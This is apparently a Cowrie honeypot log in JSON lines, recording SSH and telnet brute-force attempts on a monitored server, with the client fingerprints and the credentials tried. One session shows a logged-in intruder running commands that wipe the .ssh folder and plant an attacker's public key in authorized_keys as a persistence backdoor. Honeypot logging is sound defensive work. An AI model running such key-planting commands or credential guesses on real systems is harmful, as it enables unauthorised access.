{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:43:11.024132Z","src_ip":"94.159.98.239","session":"d2cfc20226bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"14071987","message":"login attempt [root/14071987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:43:11.748837Z","src_ip":"94.159.98.239","session":"d2cfc20226bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:43:12.867272Z","src_ip":"94.159.98.239","session":"d2cfc20226bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.21.53.232","src_port":45812,"dst_ip":"159.203.135.109","dst_port":22,"session":"4d43c5271f51","protocol":"ssh","message":"New connection: 125.21.53.232:45812 (159.203.135.109:22) [session: 4d43c5271f51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:43:19.414466Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:43:19.741455Z","src_ip":"125.21.53.232","session":"4d43c5271f51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:43:19.932930Z","src_ip":"125.21.53.232","session":"4d43c5271f51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mamad","password":"mamad@123","message":"login attempt [mamad/mamad@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:43:20.745736Z","src_ip":"125.21.53.232","session":"4d43c5271f51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.18.161.165","src_port":55200,"dst_ip":"159.203.135.109","dst_port":22,"session":"6bb566f7da0b","protocol":"ssh","message":"New connection: 182.18.161.165:55200 (159.203.135.109:22) [session: 6bb566f7da0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:43:20.939401Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:43:20.944723Z","src_ip":"182.18.161.165","session":"6bb566f7da0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:43:21.147248Z","src_ip":"182.18.161.165","session":"6bb566f7da0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:43:21.943354Z","src_ip":"125.21.53.232","session":"4d43c5271f51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vivek","password":"vivek@123","message":"login attempt [vivek/vivek@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:43:21.987597Z","src_ip":"182.18.161.165","session":"6bb566f7da0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:43:23.193259Z","src_ip":"182.18.161.165","session":"6bb566f7da0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.62.181.92","src_port":40238,"dst_ip":"159.203.135.109","dst_port":23,"session":"362fc16f0e84","protocol":"telnet","message":"New connection: 50.62.181.92:40238 (159.203.135.109:23) [session: 362fc16f0e84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:43:23.555237Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.6.32.107","src_port":46406,"dst_ip":"159.203.135.109","dst_port":22,"session":"107b4a6f66f9","protocol":"ssh","message":"New connection: 190.6.32.107:46406 (159.203.135.109:22) [session: 107b4a6f66f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:43:25.537460Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:43:25.541603Z","src_ip":"190.6.32.107","session":"107b4a6f66f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:43:25.600259Z","src_ip":"190.6.32.107","session":"107b4a6f66f9","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle321","message":"login attempt [oracle/oracle321] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:43:25.851354Z","src_ip":"190.6.32.107","session":"107b4a6f66f9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:43:26.008595Z","src_ip":"190.6.32.107","session":"107b4a6f66f9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:43:26.012397Z","src_ip":"190.6.32.107","session":"107b4a6f66f9","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:43:26.016734Z","src_ip":"190.6.32.107","session":"107b4a6f66f9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:43:26.127223Z","src_ip":"190.6.32.107","session":"107b4a6f66f9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:43:26.230395Z","src_ip":"190.6.32.107","session":"107b4a6f66f9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:43:26.232824Z","src_ip":"190.6.32.107","session":"107b4a6f66f9","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:43:26.291201Z","src_ip":"190.6.32.107","session":"107b4a6f66f9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:43:26.294675Z","src_ip":"190.6.32.107","session":"107b4a6f66f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.6.32.107","src_port":13612,"dst_ip":"159.203.135.109","dst_port":22,"session":"9c16b318df36","protocol":"ssh","message":"New connection: 190.6.32.107:13612 (159.203.135.109:22) [session: 9c16b318df36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:43:26.343544Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:43:26.348276Z","src_ip":"190.6.32.107","session":"9c16b318df36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:43:26.403786Z","src_ip":"190.6.32.107","session":"9c16b318df36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:43:26.656398Z","src_ip":"190.6.32.107","session":"9c16b318df36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:43:27.714993Z","src_ip":"190.6.32.107","session":"9c16b318df36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.6.32.107","src_port":25121,"dst_ip":"159.203.135.109","dst_port":22,"session":"a835567d4483","protocol":"ssh","message":"New connection: 190.6.32.107:25121 (159.203.135.109:22) [session: a835567d4483]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:43:27.767155Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:43:27.771331Z","src_ip":"190.6.32.107","session":"a835567d4483","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:43:27.831333Z","src_ip":"190.6.32.107","session":"a835567d4483","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:43:28.084487Z","src_ip":"190.6.32.107","session":"a835567d4483","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:43:28.142223Z","src_ip":"190.6.32.107","session":"107b4a6f66f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:43:28.145619Z","src_ip":"190.6.32.107","session":"a835567d4483","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.88.211.210","src_port":50156,"dst_ip":"10.17.0.5","dst_port":22,"session":"58603970f436","protocol":"ssh","message":"New connection: 195.88.211.210:50156 (10.17.0.5:22) [session: 58603970f436]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:43:31.021158Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:43:31.025670Z","src_ip":"195.88.211.210","session":"58603970f436","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:43:31.296416Z","src_ip":"195.88.211.210","session":"58603970f436","protocol":"ssh"}
